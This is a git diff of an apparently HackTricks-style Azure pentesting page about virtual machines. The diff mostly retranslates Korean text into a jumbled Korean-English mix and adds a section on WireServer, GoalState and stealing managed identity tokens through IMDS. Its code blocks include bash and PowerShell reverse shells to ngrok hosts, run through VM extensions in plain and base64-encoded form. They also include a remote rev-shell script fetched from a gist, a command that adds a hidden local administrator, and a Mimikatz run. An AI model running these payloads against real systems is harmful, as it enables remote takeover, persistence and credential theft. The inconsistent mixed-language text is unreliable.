diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 2e5be24d1..681e68485 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -1,57 +1,57 @@ -# Az - 가상 머신 및 네트워크 +# Az - Virtual Machines & Network {{#include ../../../../banners/hacktricks-training.md}} -## Azure 네트워킹 기본 정보 +## Azure Networking Basic Info -Azure 네트워크는 **다양한 엔터티와 구성 방법을 포함합니다.** 다양한 Azure 네트워크 엔터티에 대한 간략한 **설명,** **예제** 및 **열거** 명령을 찾을 수 있습니다: +Azure networks contains **different entities and ways to configure it.** You can find a brief **설명,** **examples** and **enumeration** commands of the different Azure network entities in: {{#ref}} az-azure-network.md {{#endref}} -## VMs 기본 정보 +## VMs Basic information -Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는 **클라우드 기반 서버로, Windows 또는 Linux 운영 체제를 실행할 수 있습니다.** 이를 통해 물리적 하드웨어를 관리하지 않고도 애플리케이션과 작업 부하를 배포할 수 있습니다. Azure VMs는 특정 요구 사항을 충족하고 가상 네트워크, 스토리지 및 보안 도구와 같은 Azure 서비스와 통합하기 위해 다양한 CPU, 메모리 및 스토리지 옵션으로 구성할 수 있습니다. +Azure Virtual Machines (VMs) are flexible, on-demand **cloud-based servers that let you run Windows or Linux 운영 체제**. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools. -### 보안 구성 +### Security Configurations -- **가용성 영역**: 가용성 영역은 특정 Azure 지역 내에서 물리적으로 분리된 데이터 센터의 독립적인 그룹으로, 지역적인 중단이나 재해로 인해 여러 영역이 영향을 받는 위험을 최소화합니다. -- **보안 유형**: -- **표준 보안**: 특정 구성이 필요하지 않은 기본 보안 유형입니다. -- **신뢰할 수 있는 시작**: 이 보안 유형은 Secure Boot 및 Virtual Trusted Platform Module(vTPM)을 사용하여 부트킷 및 커널 수준의 맬웨어에 대한 보호를 강화합니다. -- **기밀 VM**: 신뢰할 수 있는 시작 위에 VM, 하이퍼바이저 및 호스트 관리 간의 하드웨어 기반 격리를 제공하고, 디스크 암호화를 개선하며 [**더 많은 정보**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**를 제공합니다.** -- **인증**: 기본적으로 새로운 **SSH 키가 생성**되며, 공개 키를 사용하거나 이전 키를 사용할 수 있으며 기본 사용자 이름은 **azureuser**입니다. **비밀번호**를 사용하도록 구성할 수도 있습니다. -- **VM 디스크 암호화:** 디스크는 기본적으로 플랫폼 관리 키를 사용하여 정지 상태에서 암호화됩니다. -- **호스트에서 암호화**를 활성화할 수도 있으며, 이 경우 데이터는 스토리지 서비스로 전송되기 전에 호스트에서 암호화되어 호스트와 스토리지 서비스 간의 종단 간 암호화를 보장합니다 ([**문서**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). -- **NIC 네트워크 보안 그룹**: -- **없음**: 기본적으로 모든 포트를 엽니다. -- **기본**: HTTP(80), HTTPS(443), SSH(22), RDP(3389)와 같은 수신 포트를 쉽게 열 수 있습니다. -- **고급**: 보안 그룹을 선택합니다. -- **백업**: **표준** 백업(하루에 한 번) 및 **향상된** 백업(하루에 여러 번)을 활성화할 수 있습니다. -- **패치 조정 옵션**: 선택한 정책에 따라 VM에 자동으로 패치를 적용할 수 있도록 합니다. [**문서**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching)에서 설명합니다. -- **알림**: VM에서 무언가 발생할 때 이메일이나 모바일 앱으로 자동 알림을 받을 수 있습니다. 기본 규칙: -- CPU 사용률이 80%를 초과 -- 사용 가능한 메모리 바이트가 1GB 미만 -- 데이터 디스크 IOPS 소비 비율이 95%를 초과 -- OS IOPS 소비 비율이 95%를 초과 -- 총 네트워크가 500GB를 초과 -- 총 네트워크 아웃이 200GB를 초과 -- VmAvailabilityMetric이 1 미만 -- **상태 모니터**: 기본적으로 포트 80에서 HTTP 프로토콜을 확인합니다. -- **잠금**: VM을 잠가 읽기 전용(**ReadOnly** 잠금)으로 설정하거나 읽고 업데이트할 수 있지만 삭제할 수 없는(**CanNotDelete** 잠금) 상태로 설정할 수 있습니다. -- 대부분의 VM 관련 리소스는 **디스크, 스냅샷** 등과 같은 잠금을 **지원합니다.** -- 잠금은 **리소스 그룹 및 구독 수준**에서도 적용할 수 있습니다. +- **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters. +- **Security Type**: +- **Standard Security**: This is the default security type that does not require any specific configuration. +- **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM). +- **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** +- **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.** +- **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key. +- It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). +- **NIC network security group**: +- **None**: Basically opens every port +- **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389) +- **Advanced**: Select a security group +- **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day) +- **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching). +- **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules: +- Percentage CPU is greater than 80% +- Available Memory Bytes is less than 1GB +- Data Disks IOPS Consumed Percentage is greater than 95% +- OS IOPS Consumed Percentage is greater than 95% +- Network in Total is greater than 500GB +- Network Out Total is greater than 200GB +- VmAvailabilityMetric is less than 1 +- **Heath monitor**: By default check protocol HTTP in port 80 +- **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock). +- Most VM related resources **also support locks** like disks, snapshots... +- Locks can also be applied at **resource group and subscription levels** -## 디스크 및 스냅샷 +## Disks & snapshots -- **2개 이상의 VM에 디스크를 연결할 수 있도록 활성화할 수 있습니다.** -- 기본적으로 모든 디스크는 **플랫폼 키로 암호화**됩니다. -- 스냅샷에서도 동일합니다. -- 기본적으로 모든 네트워크에서 **디스크를 공유할 수 있지만**, 특정 **개인 접근**으로 **제한**하거나 **공개 및 개인 접근을 완전히 비활성화**할 수 있습니다. -- 스냅샷에서도 동일합니다. -- **디스크를 내보내기 위해 SAS URI**(최대 60일)를 **생성할 수 있으며**, 인증이 필요하도록 구성할 수 있습니다. -- 스냅샷에서도 동일합니다. +- It's possible to **enable to attach a disk to 2 or more VMs** +- By default every disk is **encrypted** with a platform key. +- Same in snapshots +- By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access. +- Same in snapshots +- It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not +- Same in snapshots {{#tabs}} {{#tab name="az cli"}} @@ -74,12 +74,12 @@ Get-AzDisk -Name -ResourceGroupName {{#endtab}} {{#endtabs}} -## 이미지, 갤러리 이미지 및 복원 지점 +## Images, Gallery Images & Restore points -**VM 이미지**는 새로운 가상 머신(VM)을 **생성하는 데 필요한 운영 체제, 애플리케이션 설정 및 파일 시스템**을 포함하는 템플릿입니다. 이미지와 디스크 스냅샷의 차이점은 디스크 스냅샷이 주로 백업 또는 문제 해결을 위해 사용되는 단일 관리 디스크의 읽기 전용 시점 복사본인 반면, 이미지는 **여러 디스크를 포함할 수 있으며 새로운 VM을 생성하기 위한 템플릿으로 사용되도록 설계되었습니다**.\ -이미지는 Azure의 **이미지 섹션** 또는 **Azure 컴퓨트 갤러리** 내에서 관리할 수 있으며, 이를 통해 **버전**을 생성하고 이미지를 크로스 테넌트로 공유하거나 공개할 수 있습니다. +**VM image**는 운영 체제, application settings, 그리고 **새 virtual machine (VM)** 을 만들기 위해 필요한 filesystem을 포함하는 template이다. image와 disk snapshot의 차이는, disk snapshot은 단일 managed disk의 read-only point-in-time copy로서 주로 backup이나 troubleshooting에 사용되는 반면, image는 **multiple disks를 포함할 수 있고 새 VM을 만들기 위한 template로 사용되도록 설계**되었다는 점이다.\ +Images는 Azure의 **Images section** 또는 **Azure compute galleries** 안에서 관리할 수 있으며, 이를 통해 **versions**를 생성하고, image를 cross-tenant로 **share**하거나 public으로 만들 수도 있다. -**복원 지점**은 VM 구성과 **시점** 애플리케이션 일관성 **스냅샷**을 저장합니다. 이는 VM과 관련이 있으며, 특정 시점에서 VM을 복원할 수 있도록 하는 것이 목적입니다. +**restore point**는 VM configuration과 VM에 연결된 모든 managed disks의 **point-in-time** application-consistent **snapshots**를 저장한다. 이는 VM과 관련되어 있으며, 특정 시점의 상태로 그 VM을 복원할 수 있도록 하는 것이 목적이다. {{#tabs}} {{#tab name="az cli"}} @@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName {{#endtab }} {{#endtabs }} -## VMs에서 코드 실행 +## VM에서 Code Execution -### VM 확장 +### VM Extensions -Azure VM 확장은 Azure 가상 머신(VM)에서 **배포 후 구성** 및 자동화 작업을 제공하는 작은 애플리케이션입니다. +Azure VM extensions는 Azure virtual machines (VMs)에서 **post-deployment configuration** 및 automation tasks를 제공하는 작은 applications입니다. -이것은 **VM 내부에서 임의의 코드를 실행**할 수 있게 합니다. +이를 통해 **VMs 내부에서 arbitrary code를 execute**할 수 있습니다. -필요한 권한은 **`Microsoft.Compute/virtualMachines/extensions/write`**입니다. +필요한 permission은 **`Microsoft.Compute/virtualMachines/extensions/write`**입니다. -사용 가능한 모든 확장을 나열하는 것은 가능합니다: +다음과 같이 사용 가능한 모든 extensions를 나열할 수 있습니다: {{#tabs }} {{#tab name="Az Cli" }} @@ -465,12 +467,12 @@ Get-AzVMExtensionImage -Location -PublisherName -Type {{#endtab }} {{#endtabs }} -사용자 정의 코드를 실행하는 **사용자 정의 확장을 실행할 수 있습니다**: +**커스텀 코드를 실행하는 custom extensions를 실행**할 수 있습니다: {{#tabs }} {{#tab name="Linux" }} -- 리버스 셸 실행 +- Execute a revers shell ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -486,7 +488,7 @@ az vm extension set \ --settings '{}' \ --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` -- 인터넷에 위치한 스크립트 실행 +- 인터넷에 있는 스크립트 실행 ```bash az vm extension set \ --resource-group rsc-group> \ @@ -501,7 +503,7 @@ az vm extension set \ {{#tab name="Windows" }} -- 리버스 셸 실행 +- reverse shell 실행 ```bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -517,7 +519,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- 파일에서 리버스 셸 실행 +- 파일에서 reverse shell 실행 ```bash az vm extension set \ --resource-group \ @@ -528,9 +530,9 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -다음과 같은 다른 페이로드를 실행할 수도 있습니다: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +다음과 같은 다른 payload도 실행할 수 있습니다: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -- VMAccess 확장을 사용하여 비밀번호 재설정 +- VMAccess extension을 사용하여 password를 reset합니다 ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -539,15 +541,15 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na {{#endtab }} {{#endtabs }} -### 관련 VM 확장 +### 관련 VM extensions -필요한 권한은 여전히 **`Microsoft.Compute/virtualMachines/extensions/write`**입니다. +필요한 permission은 여전히 **`Microsoft.Compute/virtualMachines/extensions/write`** 입니다.
-VMAccess 확장 +VMAccess extension -이 확장은 Windows VM 내의 사용자 비밀번호를 수정하거나(존재하지 않는 경우 생성) 할 수 있게 해줍니다. +이 extension은 Windows VMs 내부의 users password를 수정하거나, 없으면 생성할 수 있게 해줍니다. ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -559,7 +561,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) -이것은 Azure Windows VM의 구성을 관리하기 위해 PowerShell DSC를 사용하는 Microsoft의 **VM 확장**입니다. 따라서 이 확장을 통해 Windows VM에서 **임의의 명령을 실행**하는 데 사용할 수 있습니다: +이것은 Microsoft에 속한 **VM extension**으로, PowerShell DSC를 사용하여 Azure Windows VM의 구성을 관리합니다. 따라서 이 extension을 통해 Windows VM에서 **arbitrary commands**를 실행하는 데 사용할 수 있습니다: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -609,33 +611,33 @@ Set-AzVMDscExtension `
-하이브리드 런북 워커 +Hybrid Runbook Worker -이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 자세한 내용은 [Automation Accounts service](../az-automation-account/index.html)를 확인하세요. +이것은 automation account에서 VM 내에서 runbook을 실행할 수 있게 해주는 VM extension입니다. 자세한 정보는 [Automation Accounts service](../az-automation-account/index.html)를 확인하세요.
-### VM 애플리케이션 +### VM Applications -이것은 VM에서 애플리케이션을 쉽게 추가하고 제거하는 데 사용할 수 있는 **애플리케이션 데이터 및 설치 및 제거 스크립트**가 포함된 패키지입니다. +이것들은 VM에 application을 쉽게 추가하고 제거하는 데 사용할 수 있는 **application data와 install 및 uninstall scripts**를 모두 포함한 packages입니다. ```bash # List all galleries in resource group az sig list --resource-group --output table -# List all apps in a fallery +# List all apps in a gallery az sig gallery-application list --gallery-name --resource-group --output table ``` -이것은 애플리케이션이 파일 시스템 내에서 다운로드되는 경로입니다: +애플리케이션이 파일 시스템 안에서 다운로드되는 경로는 다음과 같습니다: - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` -새로운 애플리케이션 설치 방법은 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)에서 확인하세요. +새 애플리케이션 설치 방법은 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)에서 확인하세요. > [!CAUTION] -> **개별 앱과 갤러리를 다른 구독이나 테넌트와 공유하는 것이 가능합니다**. 이는 공격자가 애플리케이션에 백도어를 설치하고 다른 구독 및 테넌트로 이동할 수 있게 해줄 수 있기 때문에 매우 흥미롭습니다. +> 개별 app와 galleries를 다른 subscription이나 tenant와 **공유**할 수 있습니다. 이는 공격자가 application을 backdoor하고 다른 subscription과 tenant로 pivot할 수 있게 만들 수 있기 때문에 매우 흥미롭습니다. -하지만 **vm 앱을 위한 "마켓플레이스"는 존재하지 않습니다**. 확장 프로그램을 위한 마켓플레이스와는 다릅니다. +하지만 extensions처럼 vm apps를 위한 **"marketplace"는 없습니다**. 필요한 권한은 다음과 같습니다: @@ -645,7 +647,7 @@ az sig gallery-application list --gallery-name --resource-group < - `Microsoft.Network/networkInterfaces/join/action` - `Microsoft.Compute/disks/write` -임의의 명령을 실행하기 위한 악용 예시: +임의 명령을 실행하기 위한 exploitation 예시: {{#tabs }} {{#tab name="Linux" }} @@ -727,27 +729,27 @@ az vm application set \ {{#endtab }} {{#endtabs }} -### 사용자 데이터 +### User data -이것은 **지속적인 데이터**로, 메타데이터 엔드포인트에서 언제든지 검색할 수 있습니다. Azure에서 사용자 데이터는 AWS 및 GCP와 다르다는 점에 유의하세요. **여기에 스크립트를 배치하면 기본적으로 실행되지 않습니다**. +이것은 **persistent data**로, 언제든지 metadata endpoint에서 가져올 수 있습니다. Azure에서 user data는 AWS 및 GCP와 다른데, **여기에 script를 넣어도 기본적으로 실행되지 않기** 때문입니다. -### 사용자 정의 데이터 +### Custom data -예상 경로에 저장될 데이터를 VM에 전달하는 것이 가능합니다: +VM에 일부 data를 전달할 수 있으며, 이는 예상되는 paths에 저장됩니다: -- **Windows**에서는 사용자 정의 데이터가 `%SYSTEMDRIVE%\AzureData\CustomData.bin`에 이진 파일로 저장되며 처리되지 않습니다. -- **Linux**에서는 `/var/lib/waagent/ovf-env.xml`에 저장되었고 현재는 `/var/lib/waagent/CustomData/ovf-env.xml`에 저장됩니다. -- **Linux 에이전트**: 기본적으로 사용자 정의 데이터를 처리하지 않으며, 데이터가 활성화된 사용자 정의 이미지가 필요합니다. -- **cloud-init:** 기본적으로 사용자 정의 데이터를 처리하며 이 데이터는 [**여러 형식**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)일 수 있습니다. 사용자 정의 데이터에 스크립트만 보내면 쉽게 스크립트를 실행할 수 있습니다. -- Ubuntu와 Debian이 여기에 넣은 스크립트를 실행하는 것을 확인했습니다. -- 이 스크립트가 실행되기 위해 사용자 데이터를 활성화할 필요도 없습니다. +- **Windows**에서는 custom data가 `%SYSTEMDRIVE%\AzureData\CustomData.bin`에 binary file로 저장되며 처리되지 않습니다. +- **Linux**에서는 `/var/lib/waagent/ovf-env.xml`에 저장되었고, 지금은 `/var/lib/waagent/CustomData/ovf-env.xml`에 저장됩니다. +- **Linux agent**: 기본적으로 custom data를 process하지 않으며, data가 활성화된 custom image가 필요합니다. +- **cloud-init:** 기본적으로 custom data를 process하며 이 data는 [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)일 수 있습니다. custom data에 script만 넣어도 쉽게 script를 execute할 수 있습니다. +- Ubuntu와 Debian 모두 여기 넣은 script를 execute한다는 것을 확인했습니다. +- 또한 이를 execute하기 위해 user data를 enable할 필요도 없습니다. ```bash #!/bin/sh echo "Hello World" > /var/tmp/output.txt ``` -### **명령 실행** +### **Run Command** -이것은 Azure가 **VM에서 임의의 명령을 실행**하기 위해 제공하는 가장 기본적인 메커니즘입니다. 필요한 권한은 `Microsoft.Compute/virtualMachines/runCommand/action`입니다. +이것은 Azure가 VM에서 **임의 명령을 실행**하기 위해 제공하는 가장 기본적인 메커니즘입니다. 필요한 권한은 `Microsoft.Compute/virtualMachines/runCommand/action`입니다. {{#tabs }} {{#tab name="Linux" }} @@ -792,34 +794,255 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt {{#endtab }} {{#endtabs }} -## 권한 상승 +## Azure WireServer & GoalState + +Azure VMs는 구성, metadata 조회 및 identity 관리를 위해 사용되는 **internal platform endpoints**를 노출합니다. 이들 간의 차이를 이해하는 것은 **enumeration, privilege escalation and post-exploitation**에 매우 중요합니다. + +### Wire Server (Azure Fabric Endpoint) + +**Azure WireServer**는 플랫폼이 VM과 통신하기 위해 사용하는 internal Azure IP (`168.63.129.16`)입니다. + +역할은 다음과 같습니다: + +- **VM Agent**와의 통신 +- 전달: +- **GoalState** +- **ExtensionsConfig** +- internal VM configuration (including identities) +- DHCP & DNS services +- Health monitoring + +### GoalState & ExtensionsConfig + +**GoalState**는 Azure가 정의한 **VM의 desired configuration**을 나타냅니다. 다음을 포함할 수 있습니다: + +- Extensions configuration +- Managed identities +- Provisioning state +- Agent instructions + +**ExtensionsConfig**는 VM extensions의 상세 configuration을 포함하며 다음을 포함할 수 있습니다: + +- **User Assigned Managed Identities** +- Extension settings +- Secrets (depending on extension) + +These endpoints are typically accessed via: +```bash +curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate +``` +### Access considerations + +WireServer IP는 일반적으로 guest network stack을 통해 VM 내부에서 접근할 수 있습니다. 이것은 Azure VM Agent, Run Command, 또는 VM extensions에만 제한되지 않습니다. Microsoft는 일반적인 in-guest script가 `168.63.129.16`에서 GoalState를 직접 조회하는 agentless Linux provisioning 예시도 문서화해 두었습니다. + +하지만 모든 process가 반드시 같은 실질적 결과를 얻는 것은 아닙니다: + +- 일부 endpoint는 GoalState의 `x-ms-version: 2012-11-30` 같은 Azure-specific headers를 요구합니다. +- local guest controls는 host firewall rules, proxies, routes, network namespaces, containers, 또는 endpoint protection을 포함해 접근을 차단하거나 변경할 수 있습니다. +- VM extensions와 Run Command는 일반적으로 VM Agent를 통해 `root`/`SYSTEM`으로 실행되므로, interactive user에 영향을 주는 local OS restrictions를 우회할 수 있습니다. +- 일부 data는 agent/extension-specific이며 VM의 provisioning state, installed agent, configured extensions, 또는 managed identity configuration에 따라 달라질 수 있습니다. + +따라서 request가 Run Command에서는 동작하지만 SSH에서는 실패한다면, 보통의 설명은 일반적인 Azure rule이 아니라 OS user, environment, routing, proxy, firewall, 또는 namespace의 차이입니다. 즉, agent execution contexts만이 `168.63.129.16`에 도달할 수 있다는 의미는 아닙니다. + +lab testing에서는 이 구분이 확인되었습니다: Run Command 또는 Custom Script extensions를 통한 Linux/Windows VM Agent execution은 `168.63.129.16`의 GoalState에 접근할 수 있었지만, 다른 Linux VM의 일반 SSH session은 IMDS에는 접근할 수 있어도 GoalState 조회에서는 timeout이 발생했습니다. WireServer/GoalState는 유용하지만 environment-dependent하므로, managed identities를 열거하는 canonical한 방법으로 의존하지 마십시오. + +### Managed Identity Access From Inside the VM + +VM의 managed identities를 사용하는 신뢰할 수 있는 방법은 WireServer `ExtensionsConfig` XML이 아니라 `169.254.169.254`의 **IMDS managed identity endpoint**입니다. `UserAssignedIdentity` 노드만 `ExtensionsConfig`에서 찾는 script는 신뢰할 수 없는데, 그 이유는 다음과 같습니다: + +- VM의 managed identity assignment가 extension XML에서 반드시 `UserAssignedIdentity` 노드로 표현된다고 보장되지 않습니다. +- **system-assigned managed identities**를 놓칩니다. +- 현재 GoalState/extension data가 우연히 기대하는 XML shape를 노출하는 경우에만 user-assigned identities를 찾을 수 있습니다. + +Microsoft가 문서화한 security model은 **VM에서 실행되는 모든 code가 해당 VM에서 사용 가능한 managed identities에 대한 token을 요청할 수 있다**는 것입니다. 이는 다음 환경에서 확인되었습니다: + +- 일반 VM user로서의 Linux SSH. +- VM Agent를 통한 Linux Run Command. +- VM Agent를 통한 Linux Custom Script extension. +- `NT AUTHORITY\SYSTEM`으로서의 Windows Custom Script extension. + +이 모든 context에서, 요청한 identity를 VM이 사용할 수 있을 때 IMDS는 Management, Microsoft Graph/Entra ID, Key Vault, Storage용 token을 mint할 수 있었습니다. + +혼동하기 쉬운 서로 다른 두 문제가 있습니다: + +- **알려진 identity에 대한 token 얻기:** identity가 VM에 할당되어 있다면, IMDS는 `https://management.azure.com/`, `https://graph.microsoft.com/`, `https://vault.azure.net`, `https://storage.azure.com/` 같은 서로 다른 audience에 대한 token을 발급할 수 있습니다. 여러 user-assigned identities가 있으면 `client_id`, `object_id`, 또는 `msi_res_id`로 특정 identity를 지정해 요청하십시오. +- **VM 내부에서 연결된 모든 identity를 발견하기:** IMDS는 간단한 "모든 identities 목록" endpoint를 제공하지 않습니다. 실용적인 방법은 기본 Management token을 얻고, ARM을 통해 VM resource를 읽은 뒤 `identity` property를 확인하는 것입니다. 이 방법은 해당 managed identity가 VM에 대해 `Microsoft.Compute/virtualMachines/read` 같은 permission을 가질 때만 동작합니다. ARM이 `403`을 반환하더라도 token은 여전히 유효하고 유용할 수 있지만, VM의 전체 identity list를 열거할 수는 없습니다. + +ARM discovery가 실패하더라도, GoalState와 `http://168.63.129.16:32526/vmSettings` 같은 WireServer/HostGAPlugin source를 시도하여 identity처럼 보이는 field들(`clientId`, `IdentityClientId`, `msi_res_id`, user-assigned identity resource IDs)을 찾은 다음, 그 selector로 IMDS에 token을 요청할 수 있습니다. 이는 fallback이며 보장은 아닙니다: 해당 endpoint는 context-dependent이고 managed identity selector를 전혀 노출하지 않을 수도 있습니다. + +다음 예제들은 먼저 token을 요청합니다. 그런 다음 Azure Resource Manager에서 VM resource를 읽고 `identity` property를 출력하려고 시도합니다. 두 번째 단계는 managed identity가 VM에 대해 `Microsoft.Compute/virtualMachines/read` 같은 permission을 가질 때만 동작합니다. + +{{#tabs }} +{{#tab name="Linux" }} +```bash +#!/usr/bin/env bash +set -euo pipefail + +imds="http://169.254.169.254/metadata" +api_version="2021-02-01" +resource="${1:-https://management.azure.com/}" + +# Optional. Examples: +# export MSI_SELECTOR='client_id=' +# export MSI_SELECTOR='object_id=' +# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name' +selector="${MSI_SELECTOR:-}" + +urlencode() { +python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1" +} + +token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")" +if [[ -n "$selector" ]]; then +token_url="$token_url&$selector" +fi + +echo "[*] Requesting managed identity token for: $resource" +token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")" + +access_token="$( +TOKEN_JSON="$token_json" python3 - <<'PY' +import json, os +print(json.loads(os.environ["TOKEN_JSON"])["access_token"]) +PY +)" + +TOKEN="$access_token" python3 - <<'PY' +import base64, json, os + +token = os.environ["TOKEN"] +payload = token.split(".")[1] +payload += "=" * (-len(payload) % 4) +claims = json.loads(base64.urlsafe_b64decode(payload)) + +print("[+] Token acquired") +for key in ("tid", "appid", "oid", "xms_mirid"): +if key in claims: +print(f" {key}: {claims[key]}") +PY + +echo "[*] Trying to read the VM identity property through ARM..." +compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" 